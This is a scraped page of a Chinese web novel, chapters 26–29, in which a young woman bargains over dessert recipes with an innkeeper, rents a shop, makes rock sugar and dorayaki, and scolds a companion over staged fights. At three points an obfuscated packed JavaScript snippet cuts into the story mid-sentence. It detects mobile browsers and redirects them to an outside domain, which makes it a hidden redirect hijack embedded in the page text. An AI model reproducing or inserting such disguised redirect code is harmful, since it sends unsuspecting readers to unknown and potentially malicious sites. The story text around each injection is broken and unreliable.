“呃，你不留些新花样慢慢推？”好安数了数足足占了桌子四分之三的冰粉问道。 配茶的四种，配水果的四种，配花的四种。 “当然留了，这只是一部分。以后还会有新的。”王宁脸上的笑容收都收不住，站在桌旁一种一种为好安介绍。 这个介绍也不简单，好安本以为就是听一下名字的由来或者寓意，没想到王宁给这茶、果、花三大类都编了一个故事，然后每一类都想了一个寓意。 听完后，好安觉得王宁不光能开酒楼，还能说书。 好安看了看菜单后的价格，又探头看了看楼下客似云来。 自古江南多富庶，诚不欺我。 26. 一味凉 “呃，今天王某其实是有一事相求。”王宁说着不自觉地握紧拳头，斟酌再三道：“我原本是想在王记也上五文钱的冰粉，但利润太低考虑后还是没上。如果我说如果，有人问你我冰粉是什么关系的话，你能不能说是一家的，就说因为王记的掌柜以前在万和书院读过书，那个是王记给学子们的照顾。” “你不想低价卖，可又想赚个好名声。”好安一言道破：“用冰粉独家再推你王记更上一层楼。” 王宁讪讪地点点头道：“这也是有好处，王记明年准备在府城开家新店，你这边也可以赚得更多。” 好名声当然更好卖，还编了这么多文绉绉的故事宣传出去，新店何愁没有顾客。 “但你可曾想过我的摊子上也有自己牌子，你现在要夺了我牌子，给自己添光是不是太缺德了？”好安转头看向王宁，压着怒意缓缓道。 王宁连忙摇道：“我说不是你肯定不信，但我说是，又冤枉了自己。合作本就是有失有得。冰粉以后卖得好不免有宵小之徒打方子的主意。但若是对外宣称是我王家的，他们只会先注意到王记。你这边没有后顾之忧。” 说好听点叫合作有失有得，说难听点就是当了婊子还想立牌坊。 王宁说完好安脸色并没有得到好转。因为王宁说的是事实，可她说的也是事实。 现在她租金还没凑够，王记的冰粉是重要收入来源。若是解约另找他家，会不会遇上同样的问题。 王宁说了这么多难听的，但有句话确实说到她心坎上了。 村里人都知道她在卖冰粉。她一天卖这么多，赚得钱也固定，村里人知道了也最多羡慕几句。 若是大家知道她和王记合作了，是还会像以前一样，还是嫉妒眼红？ 就算一个村不会，那一个县，一个府呢？ 人心难测，她和好昕两人，在大部分人眼中连孤儿寡母都不如。要是有歹人威胁，她不保证自己能守得住这个方子。 再说王家估计也不会同意解约。 好安没说话，脸色却是越来越沉。 “此事容我再想想。” 好安心里其实已经动摇，一个冰粉而已，她还有更多更好的东西，没必要死揪着这个不放，但让他们这么轻易得逞，她心里又憋得慌。 王宁听闻也如释重负，考虑就代表有希望，于是说道：“好老板要是答应就算我欠你一个人情，以后有什么事尽管来找我。” 好安礼貌的笑了笑，起身告辞。 回到家后，好安数了数灯笼草库存，忽而瞥见一直存放起来的木馒头籽，不禁计上心头。 这原本是她准备卖给达官显贵的，现在铺子还没有下文，这事便要往后推推。因为没有体面的铺子，那些人怕是不会看上一眼。 她要是知道冰粉以后姓王，她才不会这么便宜卖给他。上次算她思虑不周，只能认栽，不如用这个去王宁那捞把大的。 好安说干就干，第二日便带着王记要冰粉和木馒头做出来的东西上门了。 还是上次的房间，好安端出一份成品。 晶莹剔透的方块颤颤巍巍地立在碟中，如被晨曦浸透的露珠，带着淡淡的黄，清新典雅。 “这是什么？” 王宁凑近一看，巴掌大的方块里竟无一丝杂质，如晶如玉。 “新吃食。”好安拿起竹刀，从边角切下一块，说道：“听不如看，看不如尝。” 王宁饶有兴趣地端起尝了尝，又递给掌柜尝了尝。 “二位可尝出什么不同？”好安问道。 掌柜瞄了一眼少东家，见他不语便主动说道：“这个——口感上没有冰粉滑嫩，但比冰粉多了一点韧性弹劲。味道上——冰粉有轻微酸味，闻起来没什么香气，这个有草木气息，闻着有股淡淡的檀木香。” 掌柜做了多年的酒楼，第一次吃冰粉的时候就发现冰粉本身有一丢丢酸味，它的清爽香甜都来自后添的配料。 这次好安带来的冰粉什么都没加，自然便是最原始的味道。 “味道是人赋予的，价值也是。”好安端起茶杯，抿了口茶淡淡地说道：“王老板觉得这样东西如何？” “好老板想要什么价格？” 王宁认为这二者口感不同，如果价格不贵还是可以试试的。 “冰粉按桶，一百五十文。这个可比冰粉贵多了。” 王宁笑了笑，说道：“好老板不要绕弯子了，赶紧开价吧。” “这个按板，一板四斤，两百文。”好安放下茶杯，侧头说道：“不二价。” “什么？”王宁要不是自小累下的涵养，差点惊得跳起来，“差不多的东西，你卖我五倍价？” 他怀疑自己耳朵出问题了。 好安嘴角微动，略带疑惑地说道：“怎么会差不多呢？” “你看冰粉中带有气泡，但这个却润泽晶莹。掌柜也说了二者不同，它有檀香。”好安拿着竹刀在方块上有一下没一下地划着，“冰粉我摆摊在前，价已经定死了，再怎么浮动也不会太大。但这个不同，我没卖过，若是合作，定价的可是你们。当然也可以打上王记的招牌。” 好安抬眼瞥了一眼王宁，又继续低头戳戳戳，不急不慢地说道：“况且有些高门大户就不爱吃和摊子上一样的东西呢。” 王宁扶着额头，长吸了一口气，之前她以为这姑娘有做奸商的潜质，现在才发现大错特错。 这姑娘哪还要什么潜什么质，她就是奸商本商。 之前是自己太快把人的得罪了，他应该再等几天的。至少他能多高兴几天。 “王老板觉得如何？” 王宁现在听到这句话就头大。 只要听到这句话，后面就不是什么好消息。 他觉得贵，那你好安降价吗？ 王宁装模作样的咳了两身，给掌柜使了个眼色。 好安看着掌柜离开，也不着急，安静的喝茶吃点心。 “好老板，年纪轻轻就能做出这么多美食，真是才思敏捷、心灵手巧。”王宁对着好安一个劲的夸，但就是不朝生意上讲。 “谢谢，生来如此没办法。”好安微微一笑，全盘接受。 半个时辰后，掌柜才回来。掌柜刚站定，好安便打趣道：“此处微凉，王老板可要去屏风后休息休息？”说完便侧身意味深长地看了眼屏风。 王宁尴尬地举了举茶杯说道：“我去重挑一个茶叶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974098|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次比上次快，王宁在里面呆了片刻便出来，拉着她从万和县起源聊到北方飞雪，从北方飞雪聊到奇闻怪谈。 好安有点没懂，这是先深聊，然后让她降价？ 不可能，绝对不可能！ “王老板要是犹豫，那我们就先等等。时间不早了，我还赶得及去下一家看看。”好安话说得看似委婉，但实则在逼王宁做决定，因为这货实在太能扯了，纯纯耽误她时间。 “别别别。”王宁赶紧拦住好安，这姑奶奶要是去了别家，那先前签的冰粉还有什么意义。 想要赚的更多还是要去赚富人的钱，这个道理每个商人都懂。 好安也没真想走，就顺势又坐下来。 “我们不如换种合作方式。”王宁将扇子插在脖子后，换了个位置做到好安旁，说道：“我加钱，一板三百文。” 好安眉头轻挑，转头看向王宁，便听王宁继续道：“一年为期，一年后将方子卖给我。” 好安眼中闪过惊讶，随即恢复如常。 “一年太短，两年。两年后如果你们要买方子，我就必须卖给你们，但你们出价不得低于三百两。”好安提出自己的要求：“而且你们夏秋两季每日至少在我这购买五板。” 王宁眉头紧皱，略显沉默。 万和县地处偏南，鱼米之乡，春冬短，夏秋长。每日五板就是每日一千五百文，夏秋按一百八十天算。一年二百七十两起。两年再加上不低于三百两，一个方子至少八百两银。 钱掰开来少，合起来多。 “放心，这东西我一天最多也就出七八板，多了没有。” “为何？”王宁不解。 好安挑唇轻笑道：“物以稀为贵。” “对对对，”王宁恍然大悟，附和道：“是我呆板了。” 可八百两依旧压在王宁的心头。 好安看出他的犹豫，便抬手抖了抖桌上的碟子，只见方块跟着颤动，很快抖掉一些边边角角。再看碟子里哪还有方块，只有一个晶莹剔透的福字。 “如何？”好安轻点瓷碟，慢慢说道：“两年刚好，不长不短，能不能让王记酒楼名扬四海就要看王老板了。” 要说刚刚王宁还有一丝丝犹豫，在见了这个后，又听了好安的一番说辞，犹豫顿时烟消云散。 能雕字便代表还能雕其他的。瞬间千万种想法从王宁脑中呼啸而过。 “签！”王宁一牙咬道。 他飞快的起草好契书，带着好安直奔县衙。 签冰粉的时很顺畅，签这个的时候却出现问题了。 负责审核的书吏指着契书道：“这东西要有个名字吧，就像这个叫你们前几天签的东西叫冰粉，这个叫什么呢？” 王宁陷入沉默，让他现想也想不出什么好名字，但一个好名字就是成功的一半，便转头看向好安道：“好老板可想了名字。” “有，之前是想了一个。”好安点点头道：“清风明月无人管，并作南楼一味凉。叫一味凉如何。” “南楼清风，空中明月。好名字，好名字，就叫一味凉！”王宁拍手大喜，南街就沈记一座酒楼，那不就是南楼吗？ 他才不管是不是，不是也得是！ 27. 黄.冰糖 好安从县衙出来心情倍感愉快。王宁一次性给了十天的预付款，她陡然变得富有起来。 如果她自己一个人卖一味凉，得一步一步来，不知猴年马月才能卖出这么多钱。 “好老板如此聪慧，善于发财，是怎么想到研制出两种相似的东西卖给不同的人群的？是家传渊源还是拜过什么高人为师？”签完契书，王宁终于轻松了一口气。虽然肉痛，但是心里的一块大石总算落下了。 他看着天边的落日都不觉得是落日而是辉煌的明天在向他招手。 好安没有直接回答，而是问道：“王老板去过城北一家叫花见的布行吗？” 王宁“唰”一声打开扇子，理所当然地点点头道：“去过，我可是他家的常客。” “那去过西市的四季布行吗？”好安继续问道。 王宁闻言倏地停下脚步，眉头一挑，侧眸看向好安，眼底划过一丝异样的光芒。 这两家布行隔着好几条街，虽都是卖布制衣，价格却天差地别。 四季布行最上等的料子在花见只能勉强吊车尾。所以去花见消费的人不会去四季布行，同理，去四季布行消费的人也不会去花见买东西。 但这一天一地的两家店背后其实是一个老板——王宁。 可外人并不知道这个消息。 王宁转身看向好安，胸前的扇子恰巧隔在两人中间，挡住了好安大半张脸，堪堪露出她的一双眼睛。 弯眉杏眼，波湛横陈，清清炯炯，含笑不言。 “去过。”王宁回答。 “这就是我高人。”好安抬脚迈步道：“一家专门卖给富贵人家，一家专门卖给平民百姓。就像冰粉卖给普通人家，一味凉定制给达官显贵，每一家店，每一种产品都明确定位。双赢，岂不美哉。” 好安看了一眼还在神游天外的王老板：“王老板说是不是啊。” “是是是。”王宁回神，条件反射地连连说道：“好老板说的极是。” 若好安真是从这两家铺子得到启发，他这算不算自己挖坑自己跳。 “好了，天色不早，我就先告辞了。”好安挽手做别，王宁紧跟回礼。 “很遗憾这次没能请好老板吃饭。下次我做东，请好老板开怀尽饮。” 好安笑笑：“明早别忘了来我家拿冰粉和一味凉。”说完便钻进马车，却又半路转身，扔给沈宁一个竹管。 “接着，新做的糖水回去配一味凉吃。你要是能做出来就算你的，做不出来……”好安笑了笑，大声道：“做不出来你可以掏钱。” 说完这才放下车帘，扬长而去。 王宁看着渐行渐远的背影，终于忍不住了，咬牙切齿地说出憋了一下午的话。 “奸商。” 好安心里还念着之前的铺子，如今手里有钱了便又去了趟牙行，却得知那铺子早就租出去了。 “你是急着要铺子吗？”赵婶问道。 “不急。”好安回答。 “要是不急，我这倒是还有一个不错的。和你先前看上的那个就隔了两家，都在一条街上，” 赵婶见好安感兴趣，便带着她去瞧瞧。 “他家还有一个月到期，已经和赁主确认过不续租了。”赵婶指了指不远处的一家书肆说道：“这铺子样样好，唯一的缺点就是一楼地方不大，但他家二楼大。” 好安顺着赵婶的指尖看去，映入眼帘的是一个硕大的门头。门头虽大，铺子却不大。 铺面前宽后窄，还不够深，像一个不规则的扇形，一眼便教人看清全部。 但这个铺子地理位置极好，处在街口拐角上。铺子的大门一半朝西，一半朝南。不论是从西边看还是南边看都能看见这家铺子。 “一楼这么大也还行。” 她一楼不设桌子便是，摆上几个展示柜，面积绰绰有余。 赵婶见好安不嫌弃一楼地方小，说道：“我们过去看看。” 书肆一楼卖些笔墨纸砚，二楼卖书也可看书。 一楼还有些说话声，二楼就静的落针可闻，堪比现代图书馆。好安跟着赵婶在二楼绕了一圈便匆匆下楼。 二楼确实十分宽敞，两面采光极为舒适。 “如何？”赵婶问道。 “铺面可以的，但这家有冰窖和后院吗？” 要是有冰窖，她以后冬天存冰，夏天用能剩下不少钱呢。 “后院当然有，但冰窖我得问问。”赵婶示意好安稍等片刻，朝书肆老板走去。 二人耳语了几句，便见赵婶笑脸如花，连连点头。 “老板说有冰窖，但不在铺子下面，在后院。”赵婶说：“他家后院已经清空了，要去看看吗？” “去。”好安对这个铺子十分满意，要是后院该有的都有她便准备定下来。 后院方方正正，西边的房子和铺子后门相连，北边有一排青砖瓦房。院中有一口井和一颗桂花树。此外院门前还有一个槐树。 这棵树长得七岔八叉的，好安嫌碍事，问能不能砍掉，却听赵婶建议道：“门前一颗槐，财源滚滚来。门前有棵槐，升官又发财。这可是个好寓意。你要是嫌它分叉多，修了几个便是。” 能保佑发财啊，好安再扫了眼槐树，忽然觉得这树长得挺不错，挺规矩的。 冰窖建在比较阴凉的西北角，深入底下数米。 设计的极为讲究，四周用砖石堆砌，顶部用木材和草料隔热，窖地还设计了排水沟。 “这冰窖绝对用心了。”饶是赵婶这样天天和房子打交道的人看了都忍不住称赞。 好安也十分满意，问道：“这个铺子租金多少？” “这个比上个还要便宜些，二十八两一年。” 好安疑惑的看向赵婶，这个铺子地里位置比上个还要好些，后院也比上个宽敞，怎么还便宜了。 “一楼面积小，稍微摆点东西就挤。很多人就是因为这个看不上，赁主只好便宜些租，也总比租不出去的强。” 好安不在意这个便和赵婶定了这间铺子。 赵婶忽而像是想起了什么，补充道：“这个铺子还是个旺铺，前头的那个租户和现在这个都是在这发的财，他们都把生意做到府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14979018|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城啦。你定了这以后肯定也能把生意做到府城。” “借您吉言。” 付了五百文定金，赵婶喊上赁主和好安拟了份契书，此时就算落定了。等到一个月到，书肆搬离三人再去衙门签订正式合约。 好安得了良铺，赵婶得了收入，赁主没有空期，三人皆大欢喜。 ———— 好安手里有钱，买起东西来便豪气许多。 最近正好赶上南方甘蔗成熟，好安花钱把万和县市面上大部分甘蔗收入囊中。 一捆捆甘蔗运往好安家，很快就堆满了后院。 红糖价贵，但这原材料却便宜得很。 一院子的甘蔗才花了五两银子。 好安用清水把甘蔗冲干净，皮也不削直接开榨。 原本计划的是谢宗林负责榨汁，好昕负责烧火，她负责熬浆。但榨汁的效率太低，现在一锅都没榨出来，三人统统来榨汁。 “姐姐，这个水好甜呀。”有些许甘蔗汁蹦到好昕嘴巴上他就顺势舔了舔。 “它能变成糖，当然甜。”说着，好安舀了一碗递给弟弟，说道：“姐姐现在有钱了，敞开来喝。” 谢宗林见好昕喝完一副甜到心坎的模样，也忍不住舔了舔嘴唇。 “你的。”一碗青汁忽然出现在眼前。“喝完接着干。” 谢宗林清亮的眼睛顿时染上笑意。 现在日子可太舒服啦。有衣服穿，有饭吃，偶尔还有各式各样的糖水点心。这放在以前想都不敢想。当初决定逃出来活下去果然是正确的。 为了防止变质和发酵，榨好的甘蔗汁要在半个时辰内上锅熬煮。 桶里一满，好安便在桶上蒙上一层细布，一边倒入锅中，一边滤出残渣。 为了争取一次性成功，她特意买了一批松木。 松木作为柴火时火力适中且稳定，还能散发出独有的烟熏味，对黄.冰糖的风味也有些许影响。 青绿色的甘蔗汁倒入锅中，好安不停的扬汤搅拌直至变成浓稠的金黄色。 将熬好的糖浆倒入陶瓷的结晶桶，放入地窖等待出冰。 “姐姐，它要多久才能变成糖呀。” 熬煮糖浆时散发出的浓浓甜味快把好昕的魂勾没了，口水更是忍不住的渗出来。 “一个月左右。”好安说道。 “这么久啊。”好昕撅了撅嘴，面露惋惜，“他能快点嘛？” 好安停下手中的活计认真的想了想道：“你不要去碰它，说不定它就能快快变成糖。” “那我可以经常去看看他吗？”好昕反问道。 黄.冰糖结晶的时候不能受到震动，好安不敢保证好昕看了能憋住不碰，便露出难为的神色，说道：“可是它喜欢静悄悄的怎么办？” “为什么呀。”好昕好奇。 黄.冰糖生冰结晶是个复杂的物理化学过程，好安也讲不清，只能编了个理由：“因为它越安静它回变得越甜，最后能比红糖还要甜。” “那好吧。”为了糖，他忍忍。先生说过，成大事要会忍！他今天算是明白了。 28. 钵仔糕 上次做的钵仔糕很受欢迎，好安便想着趁热再推出一款拿吃方便的点心。 会做的太多，好安正愁选哪个的时候提示来了。 前些日子皇上过寿，在群臣恭贺之际，最小的皇子爬到御前，随手抓了只笔画了个圆。 谁曾想前一刻刚画好，后一刻边关就传来捷报，和大晏僵持了两年的北蛮递来求和书。 皇上因此龙颜大悦，夸小皇子画得好，是上天预示大晏的将士可凯旋归来和家人团聚。 此话一出，天下皆知。 这本和卖货没多大关系，却莫名其妙的带火了所有圆形产品。 小郎君的包方的不要，要换圆的。小娘子的彩笺方的不行，剪成圆的。 圆形东西瞬间充满大街小巷，有些店的桌子甚至招牌都换成圆的椭圆的，说是能得上天青睐。 在全民皆蹭的情况下，好安决定也蹭波热度。 圆圆的，拿着方便的。 好安第一个想到了铜锣烧。 古代没有打泡粉，但可以用酵母替代。 先把鸡蛋打散，加入水、酵母和少许细盐搅匀，再倒入牛奶和淀粉。甜味方面不用红糖用蜂蜜，不仅口感好，颜色还十分漂亮。 面糊发酵半个时辰便可以开始制作铜锣烧饼皮。 这一步十分考验技术，好安也忍不住深吸了一口气，因为她也好多年没做了。 很多人前面一帆风顺，到这里出岔子。有的形状不圆，有的颜色斑驳，有的饼皮不均……问题各式各样，五花八门。 好安用手试了试温度，觉得差不多了便垂直倒入面糊，懂事的面糊会自动摊成圆形。 用小火加热片刻，饼皮上冒出许多细小的气泡，好安赶紧挨个翻面。 颜色均匀，饼皮平整，看来手感还在，好安心里安定不少。 另一面不需要太长时间，和锅简单接触一下便迅速铲起。饼皮一个个叠放，锅则用凉水冲洗，使锅降温再来继续下一锅。 馅料只做一种，经典款——红豆。 好安不喜欢粒粒分明的，也不喜欢彻底研磨成沙的。她做的红豆既要有沙中有粒，也粒上裹沙，方是最好。 松软细腻的饼皮包裹香甜软糯的豆沙，二者相互融合，使口感变得丰富。 尤其刚出锅的饼皮，外层微脆，内里依旧柔软。 钵仔糕是做好带去卖，铜锣烧好安决定边做边卖！因为烙饼皮时散出的浓浓香味实在太勾人了。 第二天，好安一大早便来了，正好赶上朝食这个时间段。好安麻利的生火擦锅，待面糊一倒入，片刻便发出浓郁的香气。 鸡蛋独有的香气中夹杂着淡淡的奶香，还有一一丝丝甜味和微微的焦香，让人难以抗拒。 “这谁家做的什么？怎么这么香？”附近店铺的老板忍不住探出头问道。 闻到香味的不止一人。“好像是东边飘来的。”王二说道。 “瞎说，东边哪有卖吃食的铺子。”王三娘不信。 “绝对是东边飘来的，我这鼻子几十年来就没出过错！”王二不服，正要下楼找寻顺便买点尝尝时，就看见胡三从东边过来，他一边走一边吃，烫得嘴巴直哈嗦也要嚼嚼嚼。 “胡三，什么东西这么好吃，让你舍不得松口？” “不会就是胡三手里的吃食发出来的香味吧。” “就这个，铜锣烧，香！”胡三冲他们点点头，口齿不清道：“那个好记的小娘子今早就来了，在那边做边卖呢。”说着还展示了一下满满的红豆馅。 “好记是？”王二想了想，好像没听说过这个铺子呀。 “就是你常买冰浆的那家。人家摊子有名子哒。”王三娘就在楼下，已经抬腿朝东走去。 “好妹妹帮我带一份呗。”王二懒得下楼。 “这个饼皮趁热最好吃。”胡三插话道。 “马上就到。”说话间，楼上已经看不见王二的身影。 排铜锣烧的人很多，等王二下楼这个间隙，他和王三娘之家就隔了两三个人。 “一人限买两个啊。”好安边做边看了看队伍排到哪了，新来几个人她就要通知一遍。 新来的人不高兴了：“小娘子我家好几口人呢？两个我都不够吃。” “谁家没几口人？”排在前面的人听到更不开心了，说道：“要不是让你们新来的人也能买到，小娘子会限买吗？” “我看就应该不限买？我先来的能买多少是我本事。谁让他们来的迟！” “就是。”排在前面的人纷纷附和。 “别啊，还是限买的好。你买这么多吃万一腻了怎么办？”新来的人立马改口笑道。 “大伙不用担心，明天还有。”好安连忙安抚道：“明天我会多备一些，保证大家都能吃尽兴！” “小娘子你这馅做的真好甜而不腻。”一老丈尝了后连连称赞道：“甜园的豆沙都不如你这个。” 甜园是万和县生意最好的点心铺，他家的酥点在府城也小有名气。 “馅料单独卖吗？”老丈突然问道。 相比两片松软的饼皮，他更喜欢里面绵蜜的红豆馅，柔软顺滑的同时又颗颗分明。要是他家有这个馅，今包个包子，明搓个汤圆岂不美哉！ “卖！但是要预订。”好安答道。卖铜锣烧是生意，卖红豆馅也是生意，她一点不担心被人买回家学了去。 “我要买！” 好安开了口，不少人要定 “今天不定，明天开始定。” 明天好昕不上学，好安决定把他带来，让他负责登记。再立个牌子，把价格时间什么都写上，也省得她一遍遍说。 好昕回到家，好安便把这事和他说了。 “去吗？” “去！”能帮到姐姐好昕义不容辞。 于是一写完功课好昕就拿着一块木板用毛笔蘸水开始练字。 天边渐渐泛起橙光，日月两两相望。 “谢宗林怎么还不回来？” 好安晚饭已经做好，往常这个时候三人都快吃过饭了，今却迟迟不见他的身影。 时久养成的习惯突然被打破，再加上谢宗林这个身份，她心里不免有些不安。 好安去了趟破屋，发现日常用品都在，卖水的桶也在，应该是回来过了。但现在人呢？ 好安不禁有些来火，到吃饭时间了还不见人影，也不知道跑哪浪去了！ 回家，这种人活该吃冷饭。 好安气呼呼的走到家门口，却听见院里传来低低的说话声。 “谢大哥，这个有用吗？”好昕小声道。 “有用。我们以前都用这个，你多涂点就行。”好安一听就知道这是谢宗林的声音。 “这么多够吗？” “够，后面都这样涂。” “涂什么呐，偷偷摸摸的？”好安忽然闪现门口，语气中透露着不爽。 好昕和谢宗林关系何时这么近了？ 他俩平日里也碰不上面，只有吃晚饭的时候能见着。见着也没见他俩说过话，现在怎么都大哥大哥的叫上了？ 好昕一见姐姐突然出现，吓得连手里的碗都掉了。谢宗林更是慌张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983117|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，连忙穿好衣服，把自己裹得严严实实不露一点皮肤。但好安眼尖还是看清了他身上青一块紫一块，有些地方甚至破皮渗出血点。 “你身上怎么回事。”好安皱眉问道，这伤痕一看就不是一天形成的。 “说。”好安眼神在他俩之间来回扫射。 “我不知道。”好昕率先坦白：“我今天是第一次帮忙。” “那你退下。”好安看向谢宗林，面无表情道：“你呢，你别说你也不知道。” “我，我这个。”谢宗林支支吾吾。 “坦白从宽，抗拒从严。不老实交代有你好果子吃。”好安捡起地上的碎碗放到桌子上，碧绿的草糊已经脏了不能用。这应该是他回来后去山里采的，所以才耽误了吃饭。 “就这几日，寺庙那边大伙无聊设了个押斗，找两个人打架，看谁能赢。要是押准了有钱拿！” 说到这，好安突然想起来，这几日谢宗林往回拿的钱是比以前多了些。每日两桶水能卖多少钱几乎是固定的，但最近自己忙就忘记问了。 “我记得你识字吧。”好安问道。 “认识一些。”谢宗林有点没反应过来，刚刚还在说押斗，现在怎么说道识字不识字上了。 “那你看过一些律例条文吗？” “听祖父和父亲说过一点点。”谢宗林答道。 “那你应该知道押斗算是博弈的一种，是违反律例的，要施杖刑。你怎么敢的？”好安声音中夹带着一丝怒意。 “我没参加。”谢宗林小声道：“我是打架的那个不是赌钱的那个，演给管事们看，拿的钱算是——戏钱。” “要是被举报到衙门，谁管你这么多。” “我是演戏，最多算私下斗殴，和押斗才没关系的。” “理由都想好了。你有没有想过你的身份是黑户。公堂上问你姓甚名谁你怎么说？”好安气笑了，为了这十几文真是什么都敢干。 “他们都不知道我叫谢宗林，我跟他们说我叫张大郎。”谢宗林老实说道。 张大郎，好耳熟的名字，但一时也想不起来是谁。 “那到衙门一样露馅。” “不会，我有户籍文书。” “？” “就隔壁村不大聪明的那个，我用两个冬瓜糖就换到了，他说随时可以给我用。” 正常人谁借户籍文书啊！ 好安哭笑不得之际忽然想起张大郎是谁了，之前一直让她说媒的张婶儿子，脑子有问题的那个！ “你可真行。”大晏律例规定盗用他人身份盈利、逃脱劳役或有其他违法行为的才算犯罪。谢宗林这操作还真不好说。 除了这个好安无话可说，起身回屋，留下一脸迷茫的谢宗林。 他是做错了吗？他是遭人厌了吗？ 谢宗林正在自我怀疑时，却见好安又回来了。 “衣服掀起来。”好安手里握着一瓶药膏，这还是上次在田桂家谯猪用的，她家的猪用了这个现在都生龙活虎的，消炎妥妥的，还有活血化瘀的功效。 谢宗林瞧见好安脸色不佳，也不敢多说，听话的趴在桌前，把后背露给她。 “你是生气了吗？”谢宗林还是没忍住，问道。 “对。”好安回答：“你现在就是在律例的边缘游走。” “我下次不这样了。”谢宗林顿了顿，说道：“那你可以不生气了吗？” “啪”一沓子书落在谢宗林眼前，每本上面都写硕大的“大晏律例”。这是她前阵子斥巨资卖的。 “你能熟读且背诵，我就消气了。” 29. 月饼 一月未满，前任租户就搬离了铺子，将铺子的钥匙正式转交好安。 铺子之前是书肆，架子和屏风最多，书肆老板已经在府城备好全新的，这些他懒得搬也都留给了好安。 她一个卖吃食的要书架干什么？好安觉得这个没用，可有舍不得扔。 书架质量看着不错。每一块板材纹理清晰，流畅自然，应该都是用同一种木材打制的，颜色差距极小，要是放在后世，都是高价。 书架共十八个，大小样式一致。每个书架有四层。上面三层是用木板和棍子搭建的简易层，四面皆空可随意取放，最下面的一层是个柜子，两尺多高，简朴素丽，没什么雕花，可改的空间很大。 既然他们大小一致，不如就把他们拼在起。好安想了个绝妙的省钱主意：截掉上面的架子，把下面柜子做成和后事面包店差不多的展示柜和收银台，柜门都做成推拉的，玻璃嘛没有就用上等的素纱替代，轻如蝉翼，透薄如空，一样好看。然后摆上甜品放在一楼供客户选购。 至于上面架子多出来的木板则切成长度不一的大小钉在一楼上墙，用来摆放她做的甜品模型。 二楼宽敞能分成两块，一块做成包间，一块做成公共餐饮区，两块地方用楼梯隔开，泾渭分明，互不干扰。 除了这些她还要砌火墙。 现在看着没什么用，可等到冬天就舒服了。 火墙采用夹墙设计，用砖石搭建，内部空心，这样燃烧木材产生的热烟能在墙内流动，再通过墙体传热，使室内温度升高，最后通过烟囱排出。 但砌火墙不是砌一面空墙连接灶台就行。火墙内部要砌上管道。 管道有竖洞、横洞、花洞等，多种多样的。但若是砌成最简单的直洞式，或许热得快，可热烟在管道内滞留时间太短，热气无法被墙体充分吸收，这样散热也快，还浪费木材。 所以火墙的内部管道要砌得弯弯曲曲，不管是横着迂回还是竖着迂回，目的就是要延长热烟再墙内的时间，让墙体能储存热气。 好安还给火墙下面设计了两个洞。这两个洞不用砖石用铁皮，能方便抽出清理火墙内部。 好安找了工匠，把自己的想法和思路都说了。门店招牌、隔间、展示柜这些都没问题，就是这个火墙交流不畅。 好安一打听才知道万和县从未有人砌过火墙，甚至火炕都没。她找了好多工匠师傅，都不敢接这块的活计。 越没人做过她越要做。原理就这些，只要成了，等冬天一到，她铺子就是算县最靓的店！ 她不擅这些，擅长的人又要上学，这活计自然而然就落到谢宗林的头上。 天最近凉快不少，寺庙翻新也进入尾声，每日活计轻松了不少，卖水的生意也一般般。 刚好他律例还没看完，好安也担心这位法外狂徒在外憋出个大的，索性让他在家一边看书，一边研究火墙。 一开始好安还担心谢宗林不愿意放弃卖水的活计，毕竟多多少少有点收入。她都想好怎么给他画大饼了，什么万和县仅此一家，只要成功就能发财，什么点亮一把火，温暖一个整个冬天，话一套一套的都编好了，没想到谢宗林一副你让我往东我绝不往西的模样，问都没问直接开干。 谢宗林从没接触过这些，刚开始还一头雾水，好安就找了一个专门帮人垒灶台烟囱的师傅来铺子翻新厨房，搭新的灶台。这两个虽然原理不同，但多多少少有些关联，而且火墙也要有个烟囱，好安就让他在旁边看着。 稍微能上手后，好安就告诉他怎么搭管道，但好安也只知道个大概，管道的长度、宽度多少，管道之间跑烟的洞口开在何处她一概不知。只能靠着谢宗林自己琢磨。 工匠们在前面的铺子敲敲打打，他就在后面的院子堆堆砌砌。 谢宗林这几天醒的比鸡早，睡的比狗晚。但功夫不负有心人，谢宗林还真研究出能让热烟在墙内逗留时间更长，火墙更暖和，散热更均匀的管道。 “大兄弟，你今年冬天要发财了。”好安拍了拍谢宗林的胳膊，笑得灿烂道：“后面要是有人找你做这个，得到的钱我七你三如何？” “都给你！”谢宗林毫不犹豫道：“前面的那些小工跟着师傅们学手艺，前几年赚的钱都是要孝敬师傅的。这个火墙的主意和图纸都是你提供的，我就是动动手，这个钱就应该给你！” 懂事的人就是容易讨人喜欢，好安欣慰的笑了笑，心里决定今年免了谢宗林的伙食费。不，现在离冬天还有好久，伙食费还是从他砌火墙赚钱时再免吧！ 好安心里算盘啪啪响。 